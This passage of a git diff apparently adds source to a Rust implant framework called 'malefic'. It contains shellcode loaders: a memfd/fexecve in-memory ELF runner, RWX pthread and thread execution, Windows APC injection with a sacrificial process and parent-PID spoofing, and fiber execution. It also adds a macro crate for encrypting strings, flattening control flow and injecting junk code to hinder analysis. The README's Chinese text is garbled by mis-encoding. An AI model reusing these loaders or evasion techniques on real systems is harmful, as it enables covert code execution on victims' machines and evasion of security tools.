PE module without calling TLS callbacks. + /// + /// Use this for Rust DLLs where DLL_PROCESS_DETACH triggers TLS cleanup + /// that can stack overflow in PE-memory-loaded modules. + /// Only unregisters exceptions and frees memory. + pub unsafe fn unload_pe_no_tls(module: *const c_void) { + if module.is_null() { + return; + } + malefic_os_win::kit::pe::unload_pe_no_tls(module as _); + } + + /// Find a named export in a loaded PE module. + /// + /// Returns the function pointer or `None` if the export doesn't exist. + /// This is used to probe for the new runtime protocol (`rt_abi_version`) + /// before falling back to the legacy `register_modules` path. + pub unsafe fn find_export(module: *const c_void, name: &str) -> Option<*const c_void> { + use malefic_os_win::kit::MaleficModule; + let module: *const MaleficModule = module as _; + if module.is_null() || (*module).export_func.is_empty() { + return None; + } + for i in (*module).export_func.iter() { + if i.0 == name { + return Some(i.1 as *const c_void); + } + } + None + } + + pub unsafe fn call_fresh_modules(module: *const c_void) -> Option<*const c_void> { + use malefic_os_win::kit::MaleficModule; + let module: *const MaleficModule = module as _; + if module.is_null() { + return None; + } + if (*module).export_func.is_empty() { + return None; + } + for i in (*module).export_func.iter() { + if i.0 == obfstr!("register_modules") { + return Some(i.1 as *const c_void); + } + } + None + } +} + +#[cfg(target_os = "windows")] +pub use kit_ops::*; + +#[cfg(target_family = "unix")] +pub unsafe fn load_module( + _bins: Vec, + _bundle: String, +) -> Result<*const core::ffi::c_void, malefic_common::errors::CommonError> { + todo!() +} + +#[cfg(target_family = "unix")] +pub unsafe fn call_fresh_modules( + _module: *const core::ffi::c_void, +) -> Option<*const core::ffi::c_void> { + todo!() +} diff --git a/malefic-crates/loader/src/lib.rs b/malefic-crates/loader/src/lib.rs new file mode 100644 index 0000000..c428745 --- /dev/null +++ b/malefic-crates/loader/src/lib.rs @@ -0,0 +1,7 @@ +#[cfg(any(target_os = "linux", target_os = "android"))] +pub mod linux; +#[cfg(target_os = "windows")] +pub mod win; + +pub mod hot_modules; +pub mod memory; diff --git a/malefic-crates/loader/src/linux/memfd.rs b/malefic-crates/loader/src/linux/memfd.rs new file mode 100644 index 0000000..3de5de2 --- /dev/null +++ b/malefic-crates/loader/src/linux/memfd.rs @@ -0,0 +1,101 @@ +/* + use to run elf in memory +*/ + +use crate::memory::MaleficChunk; +use libc::{dup2, pipe, STDERR_FILENO, STDOUT_FILENO}; +use std::ffi::CString; +use std::io::Read; +use std::os::unix::io::{FromRawFd, RawFd}; + +#[cfg(any(target_os = "linux", target_os = "android"))] +pub unsafe fn loader(shellcode: Vec, need_output: bool) -> Result, String> { + let mut result: Vec = Vec::new(); + // if want to use method execl to run shellcode, set prot as 0 + let fd = unsafe { + libc::syscall( + libc::SYS_memfd_create, + "watchdogs\0".as_ptr() as *const libc::c_char, + 2, + ) + }; + + if fd.is_negative() { + return Err("memfd_create failed".to_string()); + } + + // unsafe { + // let ret = libc::ftruncate64(fd as i32 , shellcode.len() as i64); + // if ret.is_negative() { + // return; + // } + // } + + let size = shellcode.len(); + let memory = MaleficChunk::new_fd(size, fd as _); + if memory.is_err() { + return Err("malloc failed".to_string()); + } + let memory = memory.unwrap(); + let len = libc::write( + fd as i32, + shellcode.as_ptr() as *const libc::c_void, + memory.get_size(), + ); + if len.is_negative() { + return Err("write failed".to_string()); + } + + let argv = [CString::new("").unwrap().into_raw()]; + let envp = [CString::new("").unwrap().into_raw()]; + + let mut pipefd: [RawFd; 2] = [0; 2]; + let mut original_stdout: i32 = -1; + let mut original_stderr: i32 = -1; + if need_output { + if pipe(pipefd.as_mut_ptr()) == -1 { + return Err("Failed to create pipe".to_string()); + } + original_stdout = dup2(STDOUT_FILENO, -1); + original_stderr = dup2(STDERR_FILENO, -1); + if original_stdout == -1 || original_stderr == -1 { + return Err("Failed to save original stdout/stderr".to_string()); + } + dup2(pipefd[1], STDOUT_FILENO); + dup2(pipefd[1], STDERR_FILENO); + libc::close(pipefd[1]); + } + + // method 1 + let ret = libc::fexecve( + fd as i32, + argv.as_ptr() as *const *const _, + envp.as_ptr() as *const *const _, + ); + + // method 2 + // let command_path = format!("/proc/self/fd/{}", fd); + // let ret = libc::execl(command_path.to_string().as_ptr() as *const i8, std::ptr::null_mut()); + + if ret.is_negative() { + dup2(original_stdout, STDOUT_FILENO); + dup2(original_stderr, STDERR_FILENO); + libc::close(original_stdout); + libc::close(original_stderr); + return Err("fexecve failed".to_string()); + } + + if need_output { + dup2(original_stdout, STDOUT_FILENO); + dup2(original_stderr, STDERR_FILENO); + libc::close(original_stdout); + libc::close(original_stderr); + let mut output = String::new(); + let mut reader = std::io::BufReader::new(std::fs::File::from_raw_fd(pipefd[0])); + let _ = reader.read_to_string(&mut output); + result.extend(output.into_bytes()); + } + + libc::close(fd as i32); + Ok(result) +} diff --git a/malefic-crates/loader/src/linux/mod.rs b/malefic-crates/loader/src/linux/mod.rs new file mode 100644 index 0000000..3010503 --- /dev/null +++ b/malefic-crates/loader/src/linux/mod.rs @@ -0,0 +1,9 @@ +#[cfg(feature = "Linux_Inject_Pthread")] +pub mod pthread; +#[cfg(feature = "Linux_Inject_Spawn")] +pub mod spawn; +// #[cfg(feature = "Linux_Inject_Memfd")] +pub mod memfd; + +// #[cfg(feature = "Linux_Inject_Memfd")] +pub use memfd::loader; diff --git a/malefic-crates/loader/src/linux/pthread.rs b/malefic-crates/loader/src/linux/pthread.rs new file mode 100644 index 0000000..5228d75 --- /dev/null +++ b/malefic-crates/loader/src/linux/pthread.rs @@ -0,0 +1,44 @@ +use crate::memory::MaleficChunk; +use libc::{pthread_create, pthread_join}; +use std::os::raw::c_void; +use std::sync::{Arc, Mutex}; +use std::time::Duration; + +#[cfg(target_os = "linux")] +pub fn loader(shellcode: Vec) { + let mut size = shellcode.len(); + if size < 0 { + return; + } + + let mut m_memory = MaleficChunk::new(size); + if m_memory.is_err() { + return; + } + let m_memory = m_memory.unwrap(); + + unsafe { + libc::memcpy( + m_memory.get_ptr(), + shellcode.as_ptr() as *const libc::c_void, + m_memory.get_size(), + ); + } + // sleep 10 seconds + // sleep(Duration::from_secs(10)); + + m_memory.set_protect((libc::PROT_READ | libc::PROT_WRITE | libc::PROT_EXEC) as _); + println!("will pthread create!"); + + unsafe { + let mut pthread_handle: libc::pthread_t = std::mem::zeroed(); + pthread_create( + &mut pthread_handle, + std::ptr::null(), + std::mem::transmute(m_memory.get_ptr()), + std::ptr::null_mut(), + ); + } + + std::thread::sleep(Duration::from_secs(2)); +} diff --git a/malefic-crates/loader/src/linux/spawn.rs b/malefic-crates/loader/src/linux/spawn.rs new file mode 100644 index 0000000..aa5c042 --- /dev/null +++ b/malefic-crates/loader/src/linux/spawn.rs @@ -0,0 +1,53 @@ +use crate::memory::MaleficChunk; +use std::os::raw::c_void; +use std::sync::{Arc, Mutex}; +use std::time::Duration; + +#[cfg(target_os = "linux")] +pub fn loader(shellcode: Vec) { + let mut size = shellcode.len(); + if size < 0 { + return; + } + + let mut m_memory = MaleficChunk::new(size); + if m_memory.is_err() { + return; + } + let m_memory = m_memory.unwrap(); + + unsafe { + libc::memcpy( + m_memory.get_ptr(), + shellcode.as_ptr() as *const libc::c_void, + m_memory.get_size(), + ); + } + // sleep 10 seconds + // sleep(Duration::from_secs(10)); + + m_memory.set_protect((libc::PROT_READ | libc::PROT_WRITE | libc::PROT_EXEC) as _); + println!("will pthread create!"); + + unsafe { + let mut pthread_handle: libc::pthread_t = std::mem::zeroed(); + + let shellcode_fn = std::mem::transmute::< + *mut core::ffi::c_void, + extern "C" fn(*mut c_void) -> *mut c_void, + >(m_memory.get_ptr()); + let shellcode_fn = Arc::new(shellcode_fn); + let shellcode_fn = Mutex::new(shellcode_fn); + + let thread_handle = std::thread::Builder::new() + .name("my_thread".to_string()) + .spawn(move || { + // Code to execute in new thread + let shellcode_fn = shellcode_fn.lock().unwrap(); + (*shellcode_fn)(std::ptr::null_mut()); + }) + .expect("Failed to create thread"); + } + + std::thread::sleep(Duration::from_secs(2)); +} diff --git a/malefic-crates/loader/src/memory.rs b/malefic-crates/loader/src/memory.rs new file mode 100644 index 0000000..9c15a49 --- /dev/null +++ b/malefic-crates/loader/src/memory.rs @@ -0,0 +1,186 @@ +use malefic_common::errors::CommonError; +use std::collections::BTreeMap; + +#[derive(Clone)] +pub struct MaleficMemManager { + mems: BTreeMap, + next_id: usize, +} + +impl MaleficMemManager { + pub fn default() -> Self { + Self { + mems: BTreeMap::new(), + next_id: 0, + } + } + + pub unsafe fn alloc(&mut self, size: usize) -> Result { + let mem = MaleficChunk::new(size).map_err(|_| ())?; + let id = self.next_id; + self.next_id += 1; + self.mems.insert(id, mem); + Ok(id) + } + + pub unsafe fn remove(&mut self, id: usize) -> Result<(), ()> { + if let Some(mut mem) = self.mems.remove(&id) { + let _ = mem.delete(); + Ok(()) + } else { + Err(()) + } + } + + pub unsafe fn dele(&mut self) { + let ids: Vec = self.mems.keys().cloned().collect(); + for id in ids { + let _ = self.remove(id); + } + } + + pub unsafe fn get(&self, id: usize) -> Option<&MaleficChunk> { + self.mems.get(&id) + } +} + +#[allow(dead_code)] +#[derive(Clone, Copy)] +pub struct MaleficChunk { + ptr: *mut core::ffi::c_void, + size: usize, + handle: *const core::ffi::c_void, +} + +pub fn malloc_and_set_memory(shellcode: Vec) -> Result { + let size = shellcode.len(); + let memory = MaleficChunk::new(size)?; + memory.set_mem(shellcode.as_ptr() as *const core::ffi::c_void); + let _ = memory.set_protect_exec()?; + Ok(memory) +} + +impl MaleficChunk { + pub fn get_ptr(&self) -> *mut core::ffi::c_void { + self.ptr + } + + pub fn get_size(&self) -> usize { + self.size + } + + pub fn new_fd(size: usize, fd: i64) -> Result { + if fd.is_negative() || size.eq(&0) { + return Err(CommonError::AllocationFailed); + } + #[cfg(target_os = "linux")] + { + let ptr = unsafe { + libc::mmap( + core::ptr::null_mut(), + size, + libc::PROT_READ | libc::PROT_WRITE, + libc::MAP_PRIVATE, + fd as i32, + 0, + ) + }; + if ptr == libc::MAP_FAILED { + return Err(CommonError::AllocationFailed); + } + return Ok(Self { + ptr, + size, + handle: core::ptr::null(), + }); + } + #[cfg(target_os = "macos")] + { + todo!() + } + #[allow(unreachable_code)] + Ok(Self { + ptr: core::ptr::null_mut(), + size: 0, + handle: core::ptr::null(), + }) + } + + #[allow(unused_variables)] + pub fn new(size: usize) -> Result { + #[cfg(target_os = "linux")] + { + let ptr = unsafe { + libc::mmap( + core::ptr::null_mut(), + size, + libc::PROT_READ | libc::PROT_WRITE, + libc::MAP_PRIVATE | libc::MAP_ANON, + -1, + 0, + ) + }; + if ptr == libc::MAP_FAILED { + return Err(CommonError::AllocationFailed); + } + return Ok(Self { + ptr, + size, + handle: core::ptr::null(), + }); + } + #[cfg(target_os = "macos")] + { + todo!() + } + #[allow(unreachable_code)] + Ok(Self { + ptr: core::ptr::null_mut(), + size: 0, + handle: core::ptr::null(), + }) + } + + #[allow(unused_variables)] + pub fn set_protect(&self, prot: u32) -> Result<(), CommonError> { + #[cfg(target_os = "linux")] + unsafe { + if libc::mprotect(self.ptr, self.size, prot as libc::c_int) != 0 { + return Err(CommonError::AllocationFailed); + } + } + Ok(()) + } + + pub fn set_protect_exec(&self) -> Result<(), CommonError> { + #[cfg(target_os = "linux")] + unsafe { + if libc::mprotect(self.ptr, self.size, libc::PROT_EXEC) != 0 { + return Err(CommonError::AllocationFailed); + } + } + Ok(()) + } + + #[allow(unused_variables)] + pub fn delete(&mut self) -> Result<(), CommonError> { + #[cfg(target_os = "linux")] + { + unsafe { + let ret = libc::munmap(self.ptr, self.size); + if ret < 0 { + return Err(CommonError::FreeFailed); + } + return Ok(()); + } + } + #[allow(unreachable_code)] + Ok(()) + } + + pub fn set_mem(&self, ptr: *const core::ffi::c_void) { + unsafe { + std::ptr::copy(ptr, self.ptr, self.size); + } + } +} diff --git a/malefic-crates/loader/src/win/apc/mod.rs b/malefic-crates/loader/src/win/apc/mod.rs new file mode 100644 index 0000000..0f5de92 --- /dev/null +++ b/malefic-crates/loader/src/win/apc/mod.rs @@ -0,0 +1,52 @@ +use malefic_gateway::obfstr; +use malefic_os_win::kit::binding::{ApcLoaderInline, ApcLoaderSacriface}; + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +#[repr(u32)] +pub enum LoaderType { + InlineRX = 1, + InlineRWX = 2, +} + +impl LoaderType { + pub fn from_str(s: &str) -> Self { + match s { + "2" | "rwx" | "inline_rwx" => LoaderType::InlineRWX, + _ => LoaderType::InlineRX, + } + } + + pub fn from_u32(n: u32) -> Self { + match n { + 2 => LoaderType::InlineRWX, + _ => LoaderType::InlineRX, + } + } +} + +pub unsafe fn loader( + bin: Vec, + is_need_sacrifice: bool, + sacrifice_commandline: *mut i8, + ppid: u32, + block_dll: bool, + need_output: bool, + loader_type: u32, +) -> Result, String> { + if bin.is_empty() { + return Err(obfstr!("empty shellcode").to_string()); + } + if is_need_sacrifice { + let ret = ApcLoaderSacriface( + bin.as_ptr(), + bin.len(), + sacrifice_commandline, + ppid, + block_dll, + need_output, + ); + return Ok(ret.into_bytes()); + } + let ret = ApcLoaderInline(bin.as_ptr(), bin.len(), need_output, loader_type); + Ok(ret.into_bytes()) +} diff --git a/malefic-crates/loader/src/win/fiber/mod.rs b/malefic-crates/loader/src/win/fiber/mod.rs new file mode 100644 index 0000000..165d2a6 --- /dev/null +++ b/malefic-crates/loader/src/win/fiber/mod.rs @@ -0,0 +1,47 @@ +use crate::memory::malloc_and_set_memory; +use windows::Win32::Foundation::GetLastError; +use windows::Win32::System::Threading::{ConvertThreadToFiber, CreateFiber, SwitchToFiber}; + +#[cfg(feature = "Mei_Fiber")] +pub fn loader(shellcode: Vec) { + if shellcode.is_empty() { + return; + } + + unsafe { + let main_fiber = ConvertThreadToFiber(Some(std::ptr::null())); + if main_fiber.is_null() { + if cfg!(debug_assertions) { + println!("ConvertThreadToFiber failed: {:#?}!", GetLastError()); + } + return; + } + + let memory = malloc_and_set_memory(shellcode); + if memory.is_err() { + if cfg!(debug_assertions) { + println!("[-] Malloc and set memory failed: {:#?}!", GetLastError()); + } + return; + } + let memory = memory.unwrap(); + if memory.get_ptr() == std::ptr::null_mut() { + if cfg!(debug_assertions) { + println!("[-] Get memory pointer failed!"); + } + return; + } + + let func = std::mem::transmute(memory.get_ptr()); + let fiber = CreateFiber(0, func, Some(std::ptr::null())); + if fiber.is_null() { + if cfg!(debug_assertions) { + println!("[-]CreateFiber failed: {:#?}!", GetLastError()); + } + return; + } + + SwitchToFiber(fiber); + SwitchToFiber(main_fiber); + } +} diff --git a/malefic-crates/loader/src/win/mod.rs b/malefic-crates/loader/src/win/mod.rs new file mode 100644 index 0000000..4d8d793 --- /dev/null +++ b/malefic-crates/loader/src/win/mod.rs @@ -0,0 +1,14 @@ +#[cfg(feature = "Win_Inject_APC")] +pub mod apc; +#[cfg(feature = "Win_Inject_Fiber")] +pub mod fiber; +#[cfg(feature = "Win_Inject_Thread")] +pub mod thread; + +#[cfg(feature = "Win_Inject_Fiber")] +compile_error!("Win_Inject_Fiber is deprecated"); +#[cfg(feature = "Win_Inject_Thread")] +compile_error!("Win_Inject_Thread is deprecated"); + +#[cfg(feature = "Win_Inject_APC")] +pub use apc::loader; diff --git a/malefic-crates/loader/src/win/thread/mod.rs b/malefic-crates/loader/src/win/thread/mod.rs new file mode 100644 index 0000000..8e7e092 --- /dev/null +++ b/malefic-crates/loader/src/win/thread/mod.rs @@ -0,0 +1,41 @@ +#[cfg(feature = "Mei_Thread")] +pub fn loader(shellcode: Vec) { + use crate::memory; + use windows::Win32::Foundation::GetLastError; + use windows::Win32::System::Threading::{CreateThread, WaitForSingleObject}; + if shellcode.is_empty() { + return; + } + + unsafe { + let memory = memory::malloc_and_set_memory(shellcode); + if memory.is_err() { + if cfg!(debug_assertions) { + println!("[-] Malloc and set memory failed: {:#?}!", GetLastError()); + } + return; + } + let memory = memory.unwrap(); + if memory.get_ptr() == std::ptr::null_mut() { + if cfg!(debug_assertions) { + println!("[-] Get memory pointer failed!"); + } + return; + } + + let func = std::mem::transmute(memory.get_ptr()); + let thread = CreateThread( + None, + 0, + func, + None, + windows::Win32::System::Threading::THREAD_CREATION_FLAGS(0), + None, + ); + if thread.is_err() { + return; + } + + let _ = WaitForSingleObject(thread.unwrap(), 0xFFFFFFFF); + } +} diff --git a/malefic-crates/macro/Cargo.toml b/malefic-crates/macro/Cargo.toml new file mode 100644 index 0000000..815db8e --- /dev/null +++ b/malefic-crates/macro/Cargo.toml @@ -0,0 +1,42 @@ +[package] +name = "malefic-macro" +version = "0.1.1" +edition = "2021" + +[lib] +proc-macro = true + +[features] +default = [] + +# Internal: any obf feature activates the obf/ module +_obf_impl = [] + +# Literal encryption: obf_string!, obfstr!, obf_bytes!, obf_int! +# and LiteralObfuscator in #[obfuscate] / lazy_static! +literal_obf = ["_obf_impl", "dep:aes", "dep:ctr", "dep:const-random"] + +# Control-flow flattening: flow!, obf_stmts! +# and #[obfuscate(flow)] parameter +control_flow = ["_obf_impl", "dep:const-random"] + +# Junk code injection: #[junk], #[obfuscate(junk = N)] +junk_insertion = ["_obf_impl", "dep:const-random"] + +# Struct field encryption: #[derive(ObfuscateBox)] +struct_obf = ["_obf_impl"] + +# Encrypted file embedding: include_encrypted! +embed_encrypt = ["_obf_impl", "dep:aes", "dep:ctr", "dep:const-random"] + +# In-place XOR struct obfuscation: #[derive(Obfuscate)] +inplace_obf = ["_obf_impl"] + +[dependencies] +syn = { workspace = true, features = ["visit-mut", "visit"] } +quote = { workspace = true } +proc-macro2 = { workspace = true } +const-random = { workspace = true, optional = true } +rand = { workspace = true, features = ["small_rng"] } +aes = { workspace = true, optional = true } +ctr = { workspace = true, optional = true } diff --git a/malefic-crates/macro/README.md b/malefic-crates/macro/README.md new file mode 100644 index 0000000..2c6628f --- /dev/null +++ b/malefic-crates/macro/README.md @@ -0,0 +1,113 @@ +# malefic-macro + +ç¼–è¯‘æœŸä»£ç æ··æ·†è¿‡ç¨‹å®åº“,æä¾›å­—ç¬¦ä¸²åŠ å¯†ã€æŽ§åˆ¶æµå¹³å¦åŒ–ã€åžƒåœ¾ä»£ç æ³¨å…¥ã€ç»“构体字段加密和文件嵌入加密等能力。所有混淆在编译期完æˆï¼Œè¿è¡Œæ—¶è‡ªåŠ¨è§£å¯†ï¼Œå„功能å¯é€šè¿‡ feature 独立开关。 + +## 功能简介 + +- **字符串/字节串加密** — 使用 AES-256-CTR 在编译期加密字é¢é‡ï¼Œè¿è¡Œæ—¶è§£å¯† +- **æ•´æ•°æ··æ·†** — 通过å¯é€†è¿ç®—链éšè—整数常é‡çš„真实值 +- **控制æµå¹³å¦åŒ–** — 将顺åºè¯­å¥è½¬æ¢ä¸º loop/match çŠ¶æ€æœºï¼ˆGoldberg 风格) +- **è½»é‡æŽ§åˆ¶æµæ··æ·†** — æ’入虚å‡å¾ªçŽ¯ä¸Ž `black_box` å¹²æ‰°é™æ€åˆ†æž +- **åžƒåœ¾ä»£ç æ³¨å…¥** — 在函数体中自动æ’入无æ„义代ç ï¼Œå¢žå¤§é€†å‘难度 +- **结构体字段加密** — 派生å®ç”Ÿæˆ `Obfuscated`,字段以 AES 加密存储 +- **文件嵌入加密** — 编译期加密嵌入文件内容,è¿è¡Œæ—¶è§£å¯†ä¸º `Vec` +- **lazy_static 替代** — 基于 `OnceLock` çš„ `lazy_static!`,自动对åˆå§‹åŒ–表达å¼åšå­—é¢é‡æ··æ·† +- **统一属性å®** — `#[obfuscate]` 一键å¯ç”¨å­—é¢é‡æ··æ·†ã€æŽ§åˆ¶æµå¹³å¦åŒ–å’Œåžƒåœ¾ä»£ç æ³¨å…¥ + +## Features + +| Feature | 说明 | +|---------|------| +| `literal_obf` | å¯ç”¨å­—符串ã€å­—èŠ‚ä¸²ã€æ•´æ•°å­—é¢é‡çš„ AES 加密混淆 | +| `control_flow` | å¯ç”¨ `flow!` å’Œ `obf_stmts!` æŽ§åˆ¶æµæ··æ·† | +| `junk_insertion` | å¯ç”¨ `#[junk]` åžƒåœ¾ä»£ç æ³¨å…¥ | +| `struct_obf` | å¯ç”¨ `#[derive(Obfuscate)]` 结构体字段加密 | +| `embed_encrypt` | å¯ç”¨ `include_encrypted!` 文件嵌入加密 | + +以上 feature 全部默认å¯ç”¨ã€‚关闭æŸä¸ª feature åŽï¼Œå¯¹åº”å®ä¼šé€€åŒ–为无混淆的直通实现。 + +## 基本用法 + +### 字符串与字节串加密 + +```rust +use malefic_macro::{obf_string, obfstr, obf_bytes}; + +let s: String = obf_string!("sensitive string"); +let r: &'static str = obfstr!("also encrypted"); +let b: Vec = obf_bytes!(b"raw bytes"); +``` + +### æ•´æ•°æ··æ·† + +```rust +use malefic_macro::obf_int; + +let key: u32 = obf_int!(0xDEADBEEF_u32); +``` + +### æŽ§åˆ¶æµæ··æ·† + +```rust +use malefic_macro::{flow, obf_stmts}; + +// è½»é‡æ··æ·†ï¼šæ’入虚å‡å¾ªçޝ +flow! { do_something(); } + +// Goldberg çŠ¶æ€æœºé£Žæ ¼ +obf_stmts! { + step_one(); + step_two(); + step_three(); +} +``` + +### åžƒåœ¾ä»£ç æ³¨å…¥ + +```rust +use malefic_macro::junk; + +#[junk(density = 3)] +fn my_function() { + real_logic(); +} +``` + +### 结构体字段加密 + +```rust +use malefic_macro::Obfuscate; + +#[derive(Obfuscate)] +struct Config { + api_key: String, + secret: Vec, +} +``` + +### 文件嵌入加密 + +```rust +use malefic_macro::include_encrypted; + +let data: Vec = include_encrypted!("path/to/payload.bin"); +let data_aes: Vec = include_encrypted!(aes, "path/to/payload.bin"); +``` + +### ç»Ÿä¸€å±žæ€§å® + +```rust +use malefic_macro::obfuscate; + +#[obfuscate] // ä»…å­—é¢é‡æ··æ·† +#[obfuscate(flow)] // å­—é¢é‡ + æŽ§åˆ¶æµ +#[obfuscate(junk = 2)] // å­—é¢é‡ + 垃圾注入 +#[obfuscate(flow, junk = 2)] // 全部å¯ç”¨ +fn handler() { /* ... */ } +``` + +## å‚考链接 + +- [AES crate](https://docs.rs/aes) +- [const-random](https://docs.rs/const-random) — ç¼–è¯‘æœŸéšæœºæ•°ç”Ÿæˆ +- [syn](https://docs.rs/syn) — Rust 过程å®è¯­æ³•è§£æž diff --git a/malefic-crates/macro/src/lazy_static_impl.rs b/malefic-crates/macro/src/lazy_static_impl.rs new file mode 100644 index 0000000..5e72eed --- /dev/null +++ b/malefic-crates/macro/src/lazy_static_impl.rs @@ -0,0 +1,101 @@ +use proc_macro2::TokenStream; +use quote::quote; +use syn::parse::{Parse, ParseStream}; +use syn::{Attribute, Expr, Ident, Token, Type, Visibility}; + +#[cfg(feature = "literal_obf")] +use syn::visit_mut::VisitMut; + +#[cfg(feature = "literal_obf")] +use crate::obf::util::LiteralObfuscator; + +/// A single `static ref NAME: TYPE = EXPR;` entry. +struct LazyStaticEntry { + attrs: Vec, + vis: Visibility, + name: Ident, + ty: Type, + init: Expr, +} + +/// The full `lazy_static! { ... }` body: one or more entries. +struct LazyStaticInput { + entries: Vec, +} + +impl Parse for LazyStaticEntry { + fn parse(input: ParseStream) -> syn::Result { + let attrs = input.call(Attribute::parse_outer)?; + let vis: Visibility = input.parse()?; + input.parse::()?; + input.parse::()?; + let name: Ident = input.parse()?; + input.parse::()?; + let ty: Type = input.parse()?; + input.parse::()?; + let init: Expr = input.parse()?; + input.parse::()?; + Ok(LazyStaticEntry { + attrs, + vis, + name, + ty, + init, + }) + } +} + +impl Parse for LazyStaticInput { + fn parse(input: ParseStream) -> syn::Result { + let mut entries = Vec::new(); + while !input.is_empty() { + entries.push(input.parse()?); + } + Ok(LazyStaticInput { entries }) + } +} + +pub fn lazy_static_impl(input: TokenStream) -> TokenStream { + let parsed: LazyStaticInput = match syn::parse2(input) { + Ok(v) => v, + Err(e) => return e.to_compile_error(), + }; + + let mut output = TokenStream::new(); + + for entry in parsed.entries { + let LazyStaticEntry { + attrs, + vis, + name, + ty, + mut init, + } = entry; + + // Apply literal obfuscation to the initializer expression (if enabled). + #[cfg(feature = "literal_obf")] + LiteralObfuscator.visit_expr_mut(&mut init); + + let expanded = quote! { + #[allow(non_camel_case_types)] + #[allow(dead_code)] + #(#attrs)* + #vis struct #name { __private_field: () } + + #[allow(non_upper_case_globals)] + #vis static #name: #name = #name { __private_field: () }; + + impl ::core::ops::Deref for #name { + type Target = #ty; + fn deref(&self) -> &#ty { + static __LAZY: ::std::sync::OnceLock<#ty> = ::std::sync::OnceLock::new(); + __LAZY.get_or_init(|| { #init }) + } + } + }; + + output.extend(expanded); + } + + output +} diff --git a/malefic-crates/macro/src/lib.rs b/malefic-crates/macro/src/lib.rs new file mode 100644 index 0000000..d85f3b7 --- /dev/null +++ b/malefic-crates/macro/src/lib.rs @@ -0,0 +1,435 @@ +extern crate proc_macro; + +use proc_macro::TokenStream; +use quote::quote; +use syn::{parse::Parse, parse::ParseStream, parse_macro_input, ItemImpl, LitStr}; + +// Pro obfuscation module — only compiled when any obf feature is enabled. +// The entire obf/ directory can be deleted for community builds. +#[cfg(feature = "_obf_impl")] +mod obf; + +// Community: lazy_static is always available (OnceLock wrapper). +// LiteralObfuscator integration is gated by literal_obf inside. +mod lazy_static_impl; + +struct MacroArgs { + module_name: LitStr, +} + +impl Parse for MacroArgs { + fn parse(input: ParseStream) -> syn::Result { + let module_name = input.parse()?; + Ok(MacroArgs { module_name }) + } +} + +#[proc_macro_attribute] +pub fn module_impl(args: TokenStream, item: TokenStream) -> TokenStream { + let args = parse_macro_input!(args as MacroArgs); + let module_name = &args.module_name; + let mut input = parse_macro_input!(item as ItemImpl); + + let struct_ty = &input.self_ty; + + let name_method = quote! { + fn name() -> &'static str { + ::malefic_gateway::obfstr!(#module_name) + } + }; + let new_method = quote! { + fn new() -> Self { + Self {} + } + }; + let new_instance_method = quote! { + fn new_instance(&self) -> Box { + Box::new(Self::new()) + } + }; + + input.items.push(syn::parse2(new_instance_method).unwrap()); + input.items.push(syn::parse2(new_method).unwrap()); + input.items.push(syn::parse2(name_method).unwrap()); + + // Generate rt_run() — sync bridge that drives ModuleImpl::run() via noop_waker. + // This is injected into the `impl Module` block. + // Takes the same Input/Output channels as ModuleImpl::run(), but blocks. + let rt_run_method = quote! { + fn rt_run( + &mut self, + id: u32, + recv_channel: &mut ::malefic_module::Input, + send_channel: &mut ::malefic_module::Output, + ) -> ::malefic_module::ModuleResult { + use ::core::future::Future; + use ::core::task::{Context, Poll, RawWaker, RawWakerVTable, Waker}; + + fn noop_raw_waker() -> RawWaker { + fn no_op(_: *const ()) {} + fn clone(p: *const ()) -> RawWaker { RawWaker::new(p, &VTABLE) } + static VTABLE: RawWakerVTable = + RawWakerVTable::new(clone, no_op, no_op, no_op); + RawWaker::new(::core::ptr::null(), &VTABLE) + } + let waker = unsafe { Waker::from_raw(noop_raw_waker()) }; + let mut cx = Context::from_waker(&waker); + + let fut = ::malefic_module::ModuleImpl::run( + self, id, recv_channel, send_channel, + ); + ::futures::pin_mut!(fut); + + loop { + match fut.as_mut().poll(&mut cx) { + Poll::Ready(result) => return result, + Poll::Pending => { + ::std::thread::sleep(::std::time::Duration::from_millis(1)); + } + } + } + } + }; + input.items.push(syn::parse2(rt_run_method).unwrap()); + + // Auto-generate `impl RtModule` for DLL export compatibility. + // Only compiled when the crate has malefic-runtime available (e.g. as_module_dll). + // RtModule::run() bridges RtChannel I/O ↔ futures channels, then delegates to ModuleImpl. + let rt_module_impl = quote! { + #[cfg(feature = "as_module_dll")] + const _: () = { + impl ::malefic_module::module_sdk::RtModule for #struct_ty { + fn name() -> &'static str { + ::malefic_gateway::obfstr!(#module_name) + } + fn new() -> Self { + Self {} + } + fn run( + &mut self, + task_id: u32, + channel: &::malefic_module::module_sdk::RtChannel, + ) -> ::malefic_module::module_sdk::RtResult { + use ::malefic_module::module_sdk::RtResult; + + let (input_tx, mut input_rx) = + ::futures::channel::mpsc::unbounded::< + ::malefic_proto::proto::implantpb::spite::Body + >(); + let (mut output_tx, mut output_rx) = + ::futures::channel::mpsc::unbounded::<::malefic_module::TaskResult>(); + + let mut input_tx = Some(input_tx); + + // Interleave I/O polling with rt_run progress. + // rt_run blocks, so we need a thread for I/O. + // But rt_run internally polls the future — we can't call it + // directly because we need to pump RtChannel I/O. + // + // Instead, inline the same poll loop but with RtChannel I/O. + use ::core::future::Future; + use ::core::task::{Context, Poll, RawWaker, RawWakerVTable, Waker}; + + fn noop_raw_waker() -> RawWaker { + fn no_op(_: *const ()) {} + fn clone(p: *const ()) -> RawWaker { RawWaker::new(p, &VTABLE) } + static VTABLE: RawWakerVTable = + RawWakerVTable::new(clone, no_op, no_op, no_op); + RawWaker::new(::core::ptr::null(), &VTABLE) + } + let waker = unsafe { Waker::from_raw(noop_raw_waker()) }; + let mut cx = Context::from_waker(&waker); + + let fut = ::malefic_module::ModuleImpl::run( + self, task_id, &mut input_rx, &mut output_tx, + ); + ::futures::pin_mut!(fut); + + loop { + match fut.as_mut().poll(&mut cx) { + Poll::Ready(result) => { + { + use ::futures::stream::TryStreamExt; + while let Ok(Some(tr)) = output_rx.try_next() { + let _ = channel.send(tr.body); + } + } + return match result { + Ok(tr) => RtResult::Done(tr.body), + Err(e) => RtResult::Error(::std::format!("{}", e)), + }; + } + Poll::Pending => {} + } + + if let Some(ref tx) = input_tx { + match channel.try_recv() { + Ok(Some(body)) => { let _ = tx.unbounded_send(body); } + Ok(None) => {} + Err(_) => { input_tx = None; } + } + } + + { + use ::futures::stream::TryStreamExt; + while let Ok(Some(tr)) = output_rx.try_next() { + let _ = channel.send(tr.body); + } + } + + ::std::thread::sleep(::std::time::Duration::from_millis(1)); + } + } + } + }; + }; + + let expanded = quote! { + #input + #rt_module_impl + }; + + TokenStream::from(expanded) +} + +// ============================================================================ +// Proc macros — each has a pro 